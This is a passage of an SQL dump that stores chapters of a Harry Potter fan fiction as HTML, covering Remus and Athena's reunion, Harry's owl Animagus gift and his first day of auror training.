that.&quot;</p>\n\n<br>\n\n\n<p>Harry watched as her expression faded from bright and smiling to cold and somber. There was something about her that wasn\'t there with Trelawney. There was more of a genuine quality, which is why he was certain that whatever it was that wasn\'t pleasant in his future would surely come true.</p>\n\n<br>\n\n\n<p>&quot;Wha- What do you see?&quot; He asked in a slightly trembling voice.</p>\n\n<br>\n\n\n<p>&quot;I see good, and I see bad...&quot; She sighed, as she reached over and took his tea cup, surveying the leaves carefully as she continued to speak. &quot;You\'ve experienced many great losses at such a young age, Harry. I am sad to say that you will have one more to endure.&quot;</p>\n\n<br>\n\n\n<p>Harry was stunned as he felt his heart jump up into his throat and his mind began to race a mile a minute. No, this can\'t be true. Not again, not someone he loved. Who? Who else could he losed? Hadn\'t he suffered enough? Would it be Sirius? Hagrid? Ron? Or heaven forbid, his beloved Hermione? The room was spinning as a feeling of nausea ran through his body. He couldn\'t believe the words he was hearing, but a small part of him knew it was inevitable. </p>\n\n<br>\n\n\n<p>&quot;Harry...&quot; Desmond\'s soothing and concerned voice called out, causing Harry to come back from his worrisome thoughts. &quot;Harry, I am so sorry, I didn\'t want to upset you, but I believe it is best to know the truth, and that isn\'t all that I see for you. May I continue? I think you will like the second part much more...&quot;</p>\n\n<br>\n\n\n<p>&quot;Please do.&quot; He smiled slightly, eager to hear something a little more encouraging.</p>\n\n<br>\n\n\n<p>&quot;Great loss will be followed by an even greater love....the kind that will last forever.&quot; She grinned widely, putting down the tea cup and calling for Ashling to come to her.</p>\n\n<br>\n\n\n<p>&quot;Great love?&quot; He repeated in a puzzled tone, his thoughts instantly on Hermione. &quot;Do you know who with?&quot;</p>\n\n<br>\n\n\n<p>&quot;I\'m sorry, no.&quot; She said shaking her head. &quot;I only see parts of the events, not everything. I wish I could see more. I might have been able to prevent a lot of tragedies in my time...&quot;</p>\n\n<br>\n\n\n<p>&quot;I\'m sure your predictions have done a lot of good.&quot; He replied with a bright smile.</p>\n\n<br>\n\n\n<p>&quot;Quite the charmer, too.&quot; Desmond grinned, &quot;You do more than look like your father, Harry.&quot;</p>\n\n<br>\n\n\n<p>&quot;Mum, are you home?&quot;</p>\n\n<br>\n\n\n<p>A voice called from the hall, followed by the slamming of the door. Harry watched as a slender and petite woman entered the room. Athena Helios and her Mother looked almost nothing alike. Desmond had wavy red hair pulled back in a tight bun, and her skin was as white as milk. Athena on the other hand, had straight and sleek raven locks that fell to the middle of her back, and an olive complection. The only two things that the women had in common were their pale blue eyes and that they were both extremely pretty, but in very different ways.</p>\n\n<br>\n\n\n<p>&quot;Oh, I didn\'t know we had company.&quot; Athena smiled warmly, extending her hand to Harry.</p>\n\n<br>\n\n\n<p>&quot;\'Lo.&quot; He replied with a grin as he shook her hand.</p>\n\n<br>\n\n\n<p>&quot;Athena!&quot; Desmond exclaimed, &quot;Don\'t you recognize this young man?&quot;</p>\n\n<br>\n\n\n<p>&quot;Should I?&quot; She asked curiously, eyeing Harry carefully as he watched the shocked look overcome her face when she made the realization of who he was. &quot;Oh my goodness, you\'re Lily and James\' son! You\'re Harry Potter!&quot;</p>\n\n<br>\n\n\n<p>&quot;Yes.&quot; He nodded as he felt her fling his arms around his neck and begin to sob in his embrace.</p>\n\n<br>\n\n\n<p>&quot;You look just like him. I don\'t know how I didn\'t see it immediately!&quot; She wept, pulling back from his embrace and wiping the stray tears from his eyes. &quot;I\'m sorry, I just I didn\'t expect this! What are you doing here?&quot;</p>\n\n<br>\n\n\n<p>&quot;I\'m on a mission.&quot; He said with a wide grin. &quot;You see a long time ago two celestial beings lost each other. You can think of me as the star sent to guide them back to where they belong.&quot;</p>\n\n<br>\n\n\n<p>*************************************************</p>\n\n<br>\n\n\n<p>&quot;What on earth are we doing here?&quot; Remus protested as Sirius lead him up a long dirt trail to the top of a hill overlooking the sunset upon Godric\'s Hollow. &quot;You know I can\'t bear to come here, it makes me think of...&quot;</p>\n\n<br>\n\n\n<p>But he couldn\'t finish. Standing a few feet in front of him stood Harry, a smile of satisfaction painted across his face, and a little further on was Athena, joyful tears pouring down her cheeks as she looked at him with her bright blue eyes that were filled with hope for the first time in years.</p>\n\n<br>\n\n\n<p>&quot;Is this a dream?&quot; Remus asked in disbelief as he felt his heart start to pound inside his chest. &quot;This can\'t be real.&quot;</p>\n\n<br>\n\n\n<p>&quot;If you\'re dreaming, then so am I.&quot; Her quivering voice called as she walked closer to him and reached her hand to touch his face. &quot;And if we\'re both dreaming, I don\'t ever want to wake up.&quot;</p>\n\n<br>\n\n\n<p>Remus laughed as he ran his trembling fingers through her hair, and looked her over thoroughly, still unable to believe that she was actually back in his arms.</p>\n\n<br>\n\n\n<p>&quot;I missed you, Sunshin-&quot;</p>\n\n<br>\n\n\n<p>But he couldn\'t finish. She silenced his words with a passionate kiss that was more than twenty years overdue.</p>\n\n<br>\n\n\n<p>&quot;That would be our cue to leave.&quot; Sirius whispered and Harry nodded his head in agreement.</p>\n\n<br>\n\n\n<p>And with a pop, they were gone, and all that remained was the Remus, Athena, and the dusk. The perfect time of day to symbolize the reunion of sun and moon.</p>\n\n<br>\n\n\n<br>\n ');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(273, 7, ' <p>Chapter 7- Gift of the Animagi</p>\n\n<br>\n\n\n<p>Several weeks had passed since Harry had succeeded in reuniting Remus and Athena, and never in his life had he seen a couple look happier. After a second visit to Dublin with the new couple, Sirius, and Rosmerta, Desmond informed him that the type of all consuming love and devotion shared between Athena and Remus was reminiscent of the love shared between Harry\'s parents. Hearing this made the young Potter ecstatic. It gave him comfort in knowing that even though their time on this earth was short, they had found each other and a love that lasted beyond the realm of this world.</p>\n\n<br>\n\n\n<p>Harry\'s birthday finally arrived and he\'d received an owl from Hermione saying how much she missed him and wished she could be with him. As a gift, she sent him a scrapbook from their years at Hogwarts, complete with every article ever written about him in the Daily Prophet, and many photos of him, her, Ron, and the rest of their friends. He found himself getting lost in it for well over an hour. Reminiscing on the simpler times when they were a trio and romantic feelings had not complicated things. He found himself missing her more each day, and life became increasingly difficult without her around as he watched how happy Remus and Athena were, not to mention Rosmerta and Sirius. Five years was seeming more and more like an eternity as each day passed with the speed of a tortoise crossing the Sahara.</p>\n\n<br>\n\n\n<p>Ron had also written to Harry expressing his regret that do to his current practice schedule, he would not be able to see his friend on his birthday. He wished him all the best and was sure to inform him that he was already on a winning streak of 124 consecutive saves for his Quidditch Team. He also expressed hope that Harry would come to his next game and watch him go for the record, enclosing a ticket to the match against Puddlemere United and the latest edition of &quot;From Bludger to Snitch: The Ultimate Quidditch Guide&quot;. Nothing would have pleased Harry more then to cheer his friend on, but unfortunately the match was scheduled for the day his auror training was to begin. Extremely disappointed, he wrote back to Ron informing him that he would not be able to make it, but would certainly be rooting for him from afar.</p>\n\n<br>\n\n\n<p>**************************************</p>\n\n<br>\n\n\n<p>&quot;Good morning, birthday boy!&quot; An extremely happy Remus exclaimed as he and Sirius walked towards him as he descended the stairs.</p>\n\n<br>\n\n\n<p>&quot;\'Mornin\' to you two as well,&quot; He said with a forced smile, not feeling much like celebrating after having to spend his eighteenth birthday away from his best friend and the girl he loved most.</p>\n\n<br>\n\n\n<p>&quot;Why so glum, Potter? It\'s your birthday, you received presents from your friends, you have us here to celebrate with, not to mention Athena and Rosmerta. What could be better than that?&quot; Remus asked with a wide grin that had been plastered on his face ever since Athena had come back into his life.</p>\n\n<br>\n\n\n<p>&quot;Snogging Hermione.&quot; Sirius teased as he put his arm around Harry\'s shoulders and led him to the living the room.</p>\n\n<br>\n\n\n<p>&quot;That\'s not funny. At least you and Moony over here don\'t have to be separated from the women you love!&quot; Harry said in a disgusted tone.</p>\n\n<br>\n\n\n<p>&quot;Don\'t even go there, Harry.&quot; Remus replied shaking his head. &quot;Five years is *nothing*, when you get to twenty plus, *then* you can talk to me about separation.&quot;</p>\n\n<br>\n\n\n<p>&quot;I see having Athena back in your life has also given you a witty sense of humor.&quot; Harry mumbled coldly.</p>\n\n<br>\n\n\n<p>&quot;I know! It\'s about time that boy loosened up! I am so glad to have the old, joking Remus back. Now, if we can just get rid of the wand that\'s stuck up your as-&quot;</p>\n\n<br>\n\n\n<p>&quot;Ask him if he is ready for his gift.&quot; Rosmerta interrupted as she entered the room with Athena close behind and shot Sirius a warning glance.</p>\n\n<br>\n\n\n<p>&quot;Sorry.&quot; He muttered with a wink to Remus. &quot;Ready for your gift then, Harry?&quot;</p>\n\n<br>\n\n\n<p>&quot;I guess.&quot; He replied unenthusiastically.</p>\n\n<br>\n\n\n<p>&quot;Smile lad, this is something that is going to come in handy for auror training, not to mention for your lady problems. </p>\n\n<br>\n\n\n<p>&quot;What do you mean?&quot; He asked curiously as he moved forward in his seat.</p>\n\n<br>\n\n\n<p>&quot;Thought that might get your attention.&quot; Sirius chuckled as he walked over to the coffee table and pulled out a long, narrow box wrapped in red paper with a gold bow. </p>\n\n<br>\n\n\n<p>&quot;Harry Potter, it is with great honor and pride that I, Mr. Padfoot, as well as Mr. Moony, and in the spirit of Mr. Prongs present to you the Gift of the Animagi.&quot;</p>\n\n<br>\n\n\n<p>Confused, Harry took the package from Sirius and proceeded to open it. Inside he found a picture frame, and the drawing of a large, snowy owl with piercing green eyes perched on a branch. On the top of the frame was the inscription, &quot;Moony, Padfoot, Prongs&quot;, and on the bottom was the name &quot;Apollo&quot;.</p>\n\n<br>\n\n\n<p>&quot;What is this?&quot; He asked puzzled by the gift.</p>\n\n<br>\n\n\n<p>&quot;This is your new identity, Harry.&quot; Remus began to explain. &quot;You see, you made a promise to your dear Hermione that you would stay away from her for five years time, however, Mr. Apollo here did not.&quot;</p>\n\n<br>\n\n\n<p>A large grin slowly spread across Harry\'s face as he realized exactly what their intentions were.</p>\n\n<br>\n\n\n<p>&quot;I do have a letter I need to send to Hermione...&quot; </p>\n\n<br>\n\n\n<p>&quot;And you can do it yourself with three little words and a whole lot of concentration: Owlus Animagus Totalus.&quot; </p>\n\n<br>\n\n\n<p>Too excited to wait any longer Harry jumped up from his seat and bounded for the stairs, turning back and motioning for Remus and Sirius to follow.</p>\n\n<br>\n\n\n<p>&quot;Let\'s go.&quot;</p>\n\n<br>\n\n\n<p>********************************************</p>\n\n<br>\n\n\n<p>&quot;Hermione, are you home?&quot; Lavender Brown\'s voice called out through their small flat on the outskirts of Hogsmeade.</p>\n\n<br>\n\n\n<p>&quot;In here.&quot; She answered from the living room, curled up by the fire with a photo album in hand.</p>\n\n<br>\n\n\n<p>&quot;Hey, we missed you down at The Leaky Cauldron. Ginny, Neville and Dean were asking for you.&quot;</p>\n\n<br>\n\n\n<p>&quot;Didn\'t feel much like going out today.&quot; She replied as she tried to inconspicuously wipe a few stray tears from her eyes.</p>\n\n<br>\n\n\n<p>&quot;So which one is it now, Harry or Ron?&quot; She asked, rolling her eyes and laughing.</p>\n\n<br>\n\n\n<p>&quot;Potter.&quot; She answered with a slight smile. &quot;It\'s his birthday....I just wish I was with him.&quot;</p>\n\n<br>\n\n\n<p>&quot;Girl, you\'ve got it bad.&quot; Lavender chuckled, &quot;Not only for one of the most eligible bachelor\'s in the Wizarding World, but two.&quot;</p>\n\n<br>\n\n\n<p>&quot;I know, selfish, isn\'t it? I can\'t help myself.&quot; She said sadly, &quot;I love them both in different ways.&quot;</p>\n\n<br>\n\n\n<p>&quot;It\'s not selfish, Hermione. I know you\'d do anything to avoid hurting either one. They both adore you, how could you not be conflicted when two incredible men are enamored with you? Especially when you spent seven years as their best friend.&quot;</p>\n\n<br>\n\n\n<p>&quot;I know, I just wish it wasn\'t so complicated.&quot; she sighed, flipping the photo album to a picture of the three of them after Gryffindor had won the Quidditch Cup during Seventh Year. </p>\n\n<br>\n\n\n<p>&quot;Yeah.&quot; Lavender nodded as she looked over at the photo Hermione was surveying. &quot;Ya know, I never understood how you and Ron ever got together. Your personalities just clashed.&quot;</p>\n\n<br>\n\n\n<p>&quot;That was part of the fun.&quot; Hermione laughed, &quot;If there is one thing Ron and I both enjoyed, it was a challenge.&quot;</p>\n\n<br>\n\n\n<p>&quot;What about Harry?&quot; Lavender asked curiously, &quot;You and he got along very well. What attracted you to him?&quot;</p>\n\n<br>\n\n\n<p>&quot;He\'s a different kind of challenge.&quot; Hermione began to explain, looking down at the photo and lovingly running her fingers over Harry\'s scar. &quot;The Boy Who Lived. Harry had a way of distancing himself and not being able to open up. It used to frustrate me so much when he\'d pull away and not confide in me. He insisted on being a loner, but I was equally persistent on being let in. It was my intention to remain friends with him, but that night before graduation, I couldn\'t help myself. I saw the vulnerability and raw emotion in his eyes. I saw how much he needed me and to my surprise, I found myself needing him as well.&quot;</p>\n\n<br>\n\n\n<p>Lavender was taken aback by Hermione\'s outpouring of the truth. She now realized just how difficult her situation had been, and why her love for both of these men was tearing her apart.</p>\n\n<br>\n\n\n<p>&quot;If you could go back and change any of it, would you?&quot; </p>\n\n<br>\n\n\n<p>&quot;I don\'t regret what happened that night between me and Harry, but I do regret that all three of us had to be hurt.&quot; She answered as she bit down on her trembling lip. &quot;I believe everything happens for a reason, so no I wouldn\'t change a thing. Everyone has to fall once in awhile, but rising afterwards is what makes us stronger.&quot;</p>\n\n<br>\n\n\n<p>&quot;Spoken like the clever little witch you are.&quot; Lavender smiled, as she patted Hermione\'s hand and then got up from her seat. &quot;I\'m going to bed, you should try and get some sleep yourself. Everything will turn out okay.&quot;</p>\n\n<br>\n\n\n<p>&quot;Thanks, I\'m going to go in a few minutes.&quot; </p>\n\n<br>\n\n\n<p>She replied as she took one last look at the photo and then closed the album, wiping a few more tears from her eyes as Lavender headed to her room, muttering a silent cheering charm for her troubled friend.</p>\n\n<br>\n\n\n<p>Hermione stared at the fireplace, her thoughts jumping from Harry to Ron and back again. This decision was more painful then she\'d expected, but she hoped in the end it would turn out to be the right one. Deciding to take Lavender\'s advice and head for bed, she started her way towards her room when a light tapping at the window brought her back.</p>\n\n<br>\n\n\n<p>&quot;Who on earth could that be at this hour?&quot; She wondered aloud as she walked over to the window and found a snowy white owl outside it.</p>\n\n<br>\n\n\n<p>&quot;Hedwig!&quot; She exclaimed with a smile as she let him in and happily took the letter from him. Desperate for Harry\'s words, she tore into the envelope and pulled out the parchment that was inside.</p>\n\n<br>\n\n\n<p><i>&quot;Dearest Hermione,</i></p>\n\n<br>\n\n\n<p><i>Thank you so much for the wonderful photo album. If I can\'t have you here with me, it\'s nice to be able to stroll down memory lane. It is no comparison to the real thing, but it still helps to think about all the happy times we have shared, and I hope that there will be many more like them in our future. It\'s not easy turning eighteen without your best friends there with you, but I know that even though you and Ron aren\'t here in the flesh, you are never far away in spirit, and of course in my heart.</i></p>\n\n<br>\n\n\n<p><i>I hope that everything is going well with you as you prepare for teaching at Hogwarts. Auror Training starts soon, and I hope it will help keep to keep me distracted. Anything to get these next five years moving faster.</i></p>\n\n<br>\n\n\n<p><i>I have to go now, Sirius and Remus are calling. Speaking of Remus, I almost forgot to tell you that he and Athena are back together. Reuniting them has to be one of my greatest achievements. Everyday I watch their love grow and hear people say how much they are like my parents. It gives me hope that things will work out in the end, and that great love will prevail.</i></p>\n\n<br>\n\n\n<p><i>Send my best to your family and Lavender. I hope to hear back from you soon.</i></p>\n\n<br>\n\n\n<p><i>Love Always,</i></p>\n\n<p><i>Harry</i></p>\n\n<br>\n\n\n<p><i>P.S. Your book was indeed &quot;alluring&quot;, but then again, I never expected otherwise.</i></p>\n\n<br>\n\n\n<p>Hermione smiled through her sobs as she read and reread the letter. She missed him so much lately, and hearing from him had been the best thing to happen to hear since their run in at the library. The news that bringing Athena back to Remus had been so successful had not only renewed Harry\'s faith, but hers as well. Whatever happened at the end of five years, only time would tell. One thing she knew for certain was that Harry was on to something: nothing can ever stand in the way of great love, no matter which way the cards should fall.</p>\n\n<br>\n\n\n<p>Turning towards Hedwig as she wiped her tear stained face, she noticed something about the owl that she hadn\'t before. </p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Did you always have green eyes?&quot; She asked in a puzzled tone. &quot;Listen to me, talking to owls! I\'m sleep deprived! Better go to bed before they start to answer back. Stay the night, Hedwig. I\'m sure I will have a letter for you to send back to Harry in the morning.&quot;</p>\n\n<br>\n\n\n<p>Glancing once again at the snowy owl, she could have sworn that he winked at her. Certain that she was indeed lacking sleep, she finally headed to bed as Apollo made his way over to the chair by the fire, taking pleasure in spending the night wrapped up in the scent of the woman he loved more than life itself.</p>\n\n<br>\n '),
	(273, 8, ' <p>Chapter 8- Auror Extraordinaire</p>\n\n<br>\n\n\n<p>Author&#8217;s note: Be patient, more H&amp;Hr is on the way and I promise Hermione will keep her word in regards to the Quidditch match mentioned in this chapter :) Enjoy!</p>\n\n<br>\n\n\n<p>Dedication: This is for J, Happy Birthday! :)&nbsp;</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;After spending a glorious night wrapped up in Hermione\'s fireside chair, Apollo left the flat bright and early the next morning with a brand new letter in tow. Harry rushed back home and flew straight through his bedroom window before transfiguring back into himself and then proceed to read the letter he\'d just received from Hermione.</p>\n\n<br>\n\n\n<p><i>Dearest Harry,</i></p>\n\n<br>\n\n\n<p><i>It was so good to hear back from you. I am extremely pleased about Remus and Athena. It is so nice to know that happily ever after doesn\'t only exist in fairy tales. Be sure to send them my best, as well as to Sirius and Rosmerta.</i></p>\n\n<br>\n\n\n<p><i>I know that Ron has told you that he is expected to break the Quidditch Keeper record or something at a game tonight. He\'s also told me that you won\'t be able to go, but asked if I\'d attend. He said we don\'t have to speak or anything, but thought it would be nice if I could cheer him on from the stands. Since we\'ve already had two &quot;chance&quot; meetings, I thought it\'d only be fair if I went to see him play, especially since you won\'t be there. </i></p>\n\n<br>\n\n\n<p>&quot;Two chance meetings?&quot; He said aloud, &quot;What does she mean two?&quot;</p>\n\n<br>\n\n\n<p><i>I hope that you had a fabulous birthday and that you will write back soon. Good luck with Auror Training, although I am sure you won\'t need it.</i></p>\n\n<br>\n\n\n<p><i>All my love,</i></p>\n\n<p><i>Hermione</i></p>\n\n<br>\n\n\n<p><i>P.S. Nice try with the owl- I\'d recognize those green eyes anywhere.</i></p>\n\n<br>\n\n\n<p>**************************************</p>\n\n<br>\n\n\n<p>&quot;There he is now,&quot; Mad Eye Moody\'s rough and boisterous voice called out to Harry as he walked through the fourth floor corridor of the Ministry of Magic. &quot;Auror Extraordinaire, Harry Potter!&quot;</p>\n\n<br>\n\n\n<p>&quot;\'Lo, Sir!&quot; Harry said as he shook Moody\'s shaking hand. </p>\n\n<br>\n\n\n<p>Ever since Harry\'s fourth year, Mad Eye had acted even more &quot;mad&quot; than usual. He was scheduled to become Defense Against the Dark Arts Professor, but was kidnapped and impersonated by Barty Crouch, a loyal servant to Lord Voldemort who hatched the plan to bring the Dark Lord back to power. The real Mad Eye was held captive in his own trunk for nine months. Even though he\'d devoted his entire life before that ordeal to ridding the world of Death Eaters, he became even more obsessed after he was held hostage and Voldemort was revived. There were only two people he truly trusted. One was Dumbledore, and the other way Harry. However, Harry got the feeling that the only reason that he was trusted was because he was had Dumbledore\'s word backing him.</p>\n\n<br>\n\n\n<p>&quot;I\'ve been waiting years for this, Potter.&quot; Moody replied as a crazed look appeared over his face, and his magic eye roamed around rapidly. &quot;Dumbledore says you\'re going to be the best thing to ever happen to the work of aurors. I have my doubts, but I know Albus has faith in you. Hell, that scar of yours is legendary, bought time you lived up to it.&quot;</p>\n\n<br>\n\n\n<p>&quot;I intend to, Sir.&quot; Harry answered with complete confidence in his abilities.</p>\n\n<br>\n\n\n<p>&quot;Good,&quot; Moody nodded, &quot;I guess you\'re ready to start then?&quot;</p>\n\n<br>\n\n\n<p>A wide grin spread across Harry\'s face.</p>\n\n<br>\n\n\n<p>&quot;I was born ready.&quot;</p>\n\n<br>\n\n\n<p>*******************************</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Auror training was a lot more grueling than Harry had anticipated. The morning started out with written tests that consisted of scenarios that one might face when battling dark forces. This had been the easiest part for Harry, taking avout an hour to complete. Hemanaged to score well above average, impressing both Mad Eye Moody, and the Director of Intellegence in the Auror training program, Conan Cassidy. </p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;His next session was an obstacle course lined with Dementors and other dark creatures. Harry\'s goal was to successfully disarm and apprehend them in the shortest amount of time possible without being attacked first. While he sustained a few scrapes and bruises, he still received high marks for finishing at just under seventeen and a half minutes, nearly tying Moody\'s fifty year old record.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The third and final challenge for the morning was a simulated battle against Lord Voldemort. With the Virtualus Realm spell, the young Wizard was transported to a dark and deserted hilltop where the Dark Lord waited a few feet in front of him, armed and ready to attack. Moody had warned Harry not to be an overachiever, there wasn\'t one Auror, including himself, who\'d ever been able to defeat the simulation. After nearly two hours of spell dueling, which included three near misses of the Cruciatus Curse, a block of the Imperious, and one close encounter with Avada Kedavra, Harry sucessfully destroyed Voldemort.</p>\n\n<br>\n\n\n<p>&quot;Bloody Hell, Potter!&quot; Mad Eye Moody exclaimed in a rather shocked tone as Harry came back from the influence of the Virtualus spell, &quot;No one\'s ever lasted so long with that no good bastard, let alone been able to kill him! I might just have to pay up on that ten galleon bet I placed against you with Dumbledore.&quot;</p>\n\n<br>\n\n\n<p>Harry smiled in between heavy breaths as he wiped the sweat from his brow and tucked his wand back into his robes.</p>\n\n<br>\n\n\n<p>&quot;Thank you, Sir,&quot; He answered in a quiet and tired tone, &quot;I\'m only sorry it wasn\'t the real thing.&quot;</p>\n\n<br>\n\n\n<p>&quot;Aren\'t we all.&quot; He replied as he handed Harry a glass of water and then pulled his flask from his hip to take a drink of his own. &quot;I think you\'ve had enough training for one day, Potter. Why don\'t you head down to the cafeteria for a bite to eat and then meet me back in my office when you finish. There\'s some paperwork I need you to fill out and then you can be on your way.&quot;</p>\n\n<br>\n\n\n<p>Harry nodded, extremely famished from a morning of intense training, he headed for lunch, completely unaware of the things he would learn about the current problem plaguing the Ministry of Magic.</p>\n\n<br>\n\n\n<p>**************************</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n\n<p>The lunchroom of the Ministry was filled with chatting Witches and Wizards of all shapes and sizes. It reminded him of the feasts at Hogwarts and made him sad that those glorious days would be no more.</p>\n\n<br>\n\n\n<p>&quot;Oh my goodness, it\'s true then!&quot; A squeaky, high pitched voice called out to Harry. &quot;The Boy Who Lived is here! It\'s Potter!&quot;</p>\n\n<br>\n\n\n<p>&quot;Bloody hell,&quot; he thought to himself as a large group of screaming witches surrounded him. They were like vulchers, begging for his autograph and pulling at his robes. Harry hated all the attention that came with his name, especially this sort if reaction. </p>\n\n<br>\n\n\n<p>&quot;Ladies, control yourselves!&quot; A man\'s voice called through the crowd, &quot;Mr. Potter is busy defending us from the dark forces, he doesn\'t have time for all of this nonsense! Honestly, where are your manners!&quot;</p>\n\n<br>\n\n\n<p>Harry looked up to find a tall, dark young man making his way through the masses of adoring witches. He had black hair, slicked backed in a way that reminded him of Draco Malfoy, his archnemesis from Hogwarts, and a toothy grin that made him think of Gilderoy Lockhart, his conceited pretty boy Defense Against the Dark Arts Teacher from second year.</p>\n\n<br>\n\n\n<p>&quot;Tomas R. Zamba, Mr. Potter.&quot; He said as he surveyed the crowd of onlooking witches and flashed them a wink. &quot;Co-Director of Muggle Information, originally from Majorca. Graduated from Escuela de la Magia. You can call me Tom.&quot; </p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Nice to meet you.&quot; Harry answered as he extended his hand, &quot;I\'m an Auror in training, graduated from Hogwa-&quot;</p>\n\n<br>\n\n\n<p>&quot;Fascinating.&quot; Tomas said with an unamused expression, ignoring Harry\'s gesture to shake hands. &quot;Anyway, why don\'t you let me take these pestering ladies out of your way? I know after this morning the last thing you need is a group of squealing fans interrupting your lunch, but I\'d be happy to entertain them for you. Adios!&quot;</p>\n\n<br>\n\n\n<p>And with that, Tomas Zamba and his newly acquired legion of fans made their way over to a lunch table as Harry watched in amazement at how quickly he\'d gone from the Boy Who Lived to the Who that what?</p>\n\n<br>\n\n\n<p>&quot;I see you\'ve met, Mr. Charisma.&quot; A bitter tone scoffed from behind him. </p>\n\n<br>\n\n\n<p>&quot;You mean Zamba?&quot; Harry said with a laugh as he turned to find a burly, auburned haired man standing next to him, &quot;I didn\'t know Playboy was in the job description for Co-Director of Muggle Information.&quot;</p>\n\n<br>\n\n\n<p>&quot;Neither did I, but keep in mind that he was hired by a female.&quot;</p>\n\n<br>\n\n\n<p>&quot;That explains a lot then.&quot; He laughed, &quot;I\'m Harry, by the way, Harry-&quot;</p>\n\n<br>\n\n\n<p>&quot;Potter, yea I know. We all know. I think it\'s why Tom\'s so threatened. I\'m Edgar Duncan Motlive, the other Co-Director of Muggle Information, but please, call me Ed.&quot;</p>\n\n<br>\n\n\n<p>&quot;Pleased to meet you, Ed, and my sincere condolences for having to work with Mr. Witch Weekly.&quot; </p>\n\n<br>\n\n\n<p>***********************************</p>\n\n<br>\n\n\n<p>&quot;So, how long have been working here?&quot; Harry asked as he sipped his pumpkin juice and took a bite of corned beef sandwich.</p>\n\n<br>\n\n\n<p>&quot;About two years now. I like it a lot, studying muggles is very interesting, just wish I didn\'t have to do it with that incompetent git.&quot; Ed replied as he helped himself to a spoonful of treacle fudge.</p>\n\n<br>\n\n\n<p>&quot;Do you have a lot of work?&quot;</p>\n\n<br>\n\n\n<p>&quot;When I first started things were slow, but it\'s picked up in the last few months, ya know, with all the *chatter*.&quot;</p>\n\n<br>\n\n\n<p>&quot;Chatter?&quot; Harry asked.</p>\n\n<br>\n\n\n<p>&quot;You-know-who and his followers.&quot; Ed whispered as he leaned in closer to Harry, making sure that no one around was eavesdropping. &quot;Rumor has it his biding his time for a big comeback, and they think he\'s got a deatheater embedded in this place to supply him with knowledge.&quot;</p>\n\n<br>\n\n\n<p>Harry felt a shiver run through his body as Ed spoke. </p>\n\n<br>\n\n\n<p>&quot;But what about Moody? Can\'t he spot the Death Eaters a mile away?&quot;</p>\n\n<br>\n\n\n<p>&quot;Mad Eye ain\'t what he used to be,&quot; Ed replied with a sigh, &quot;I think that\'s why they are stepping up the process with you, Potter.&quot;</p>\n\n<br>\n\n\n<p>&quot;Yes, but don\'t they have any idea at all as to who it might be?&quot; </p>\n\n<br>\n\n\n<p>&quot;Oh they have someone in mind all right, but I think they\'ve got it all wrong.&quot;</p>\n\n<br>\n\n\n<p>&quot;Who are they thinking of?&quot; Harry asked curiously.</p>\n\n<br>\n\n\n<p>&quot;Mark Ciaran,&quot; Ed replied, once again speaking in a soft tone to avoid attention. &quot;He works in the Muggle History department. He\'s quiet and shy, I heard them say he reminds them of Quirrell. Real shy and anxious, an easy target for Voldemort to prey on. I don\'t know him well, but he seems harmless and to be honest with you, I don\'t think he has the brains.&quot; </p>\n\n<br>\n\n\n<p>&quot;Who do you think it is then?&quot;</p>\n\n<br>\n\n\n<p>&quot;Me? I\'d bet a thousand galleons on our old pal, Tom Zamba.&quot; </p>\n\n<br>\n\n\n<p>&quot;Are you kidding?&quot; Harry said in disbelief. &quot;You think this Ciaran character is too stupid to be the informant but you believe that dimwitted pretty boy is the culprit?&quot;</p>\n\n<br>\n\n\n<p>&quot;Go ahead and laugh, but looks are deceiving, Potter.&quot; Ed replied in a somber tone. &quot;It\'s what\'s in a name that tells you everything.&quot;</p>\n\n<br>\n\n\n<p>&quot;What do you mean by that?&quot;</p>\n\n<br>\n\n\n<p>&quot;I mean,&quot; Ed answered as he once again moved in close to Harry. &quot;People can\'t even say you-know-who\'s name, but do you know of anyone that cringes at the sound of Tom Riddle?&quot;</p>\n\n<br>\n\n\n<p>&quot;I don\'t understand.&quot; Harry responded in a very confused tone. &quot;What does Tom Riddle have to do with Tom Zo-&quot;</p>\n\n<br>\n\n\n<p>And then, like a ton of bricks, it hit him.</p>\n\n<br>\n\n\n<p>&quot;Not just Tom Zomba.&quot; Ed reminded Harry as he watched the realization slowly creep over his face, &quot;Tom *R.* Zomba.&quot;</p>\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n '),
	(273, 9, '\n\n\n\n<meta name="generator" content="Corel WordPerfect 10">\n\n<meta http-equiv="content-Type" content="text/html; charset=utf-8">\n\n<style> p { margin-top: 0px; margin-bottom: 1px } body { font-family: "Times New Roman", serif; font-size: 12pt; font-weight: normal; font-style: normal } </style>\n\n\n\n<p>Chapter 9- Checkmate&nbsp;</p>\n\n<br>\n\n\n<p>Author&#8217;s note: Please forgive me for taking so long to update. I was very busy with school and work. Now that I am finished for the summer, I hope to update more frequently. This is a filler chapter, but I promise things are REALLY going to start speeding up with the next one. I hope you like what I have planned. Enjoy!</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;After Harry\'s first day of auror training, the months began flying by. He was so busy with his work, that it left little time for him to dwell on anything else and before he knew it, three years, three-hundred-twenty-seven days, eight hours, and seventeen minutes remained in his pact with Hermione.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;He hadn\'t completely forgotten about her, on the contrary. She still managed to creep into his dreams, causing him to wake up sweating and smiling in the morning. She also wrote to him often, and he kept each and every letter safely tucked away under his bed, reading them frequently. He spent many hours lost in the memories stored within his pensieve, desperate for anything that could remind him of what he was missing not only with Hermione, but with Ron as well. The young and talented Mr. Weasley had been keeping busy himself. After breaking the record for consecutive saves by a Keeper, he became the most coveted Quidditch player in Europe, and six months ago he had achieved his dream of becoming a member of the Chudley Cannons. Not only was his athleticism widely 